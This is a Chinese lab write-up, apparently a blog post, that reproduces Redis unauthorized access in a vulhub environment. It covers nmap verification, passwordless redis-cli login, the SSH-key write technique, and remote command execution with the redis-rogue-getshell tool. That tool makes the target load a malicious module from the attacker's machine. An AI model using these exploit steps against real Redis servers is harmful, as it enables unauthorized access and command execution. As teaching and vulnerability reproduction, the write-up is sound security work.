redis未授权访问漏洞复现

漏洞介绍

Redis是一个数据库,默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,如果Redis以Root权限运行,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

漏洞复现

攻击机kali 192.168.33.154
目标机redis 192.168.33.137
环境搭建(使用vulhub搭建),在目标机执行命令。

service docker start
cd /vulhub/redis/4-unacc
docker-compose up -d

在这里插入图片描述

漏洞验证

攻击机使用nmap来验证

nmap -A -p 6379 192.168.33.137

在这里插入图片描述

漏洞利用

kali安装redis-cli远程连接工具并尝试无密码连接

wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable 
make 
cp src/redis-cli /usr/bin/
redis-cli -h 192.168.33.137
ping

在这里插入图片描述

命令执行

Redis未授权访问在4.x/5.0.5以前版本下,可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
kali安装redis-getshell工具

git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rouge-getshell
cd RedisModulesSDK/
make

在这里插入图片描述
利用下载的工具执行命令

# 工具命令格式:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "要执行的命令"
# 工具命令示例:
python3 redis-master.py -r 192.168.33.137 -p 6379 -L 192.168.33.154 -P 8888 -f RedisModulesSDK/exp.so -c "pwd"

在这里插入图片描述
参考文章
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis
https://blog.youkuaiyun.com/weixin_43571641/article/details/108191056
https://www.cnblogs.com/bmjoker/p/9548962.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值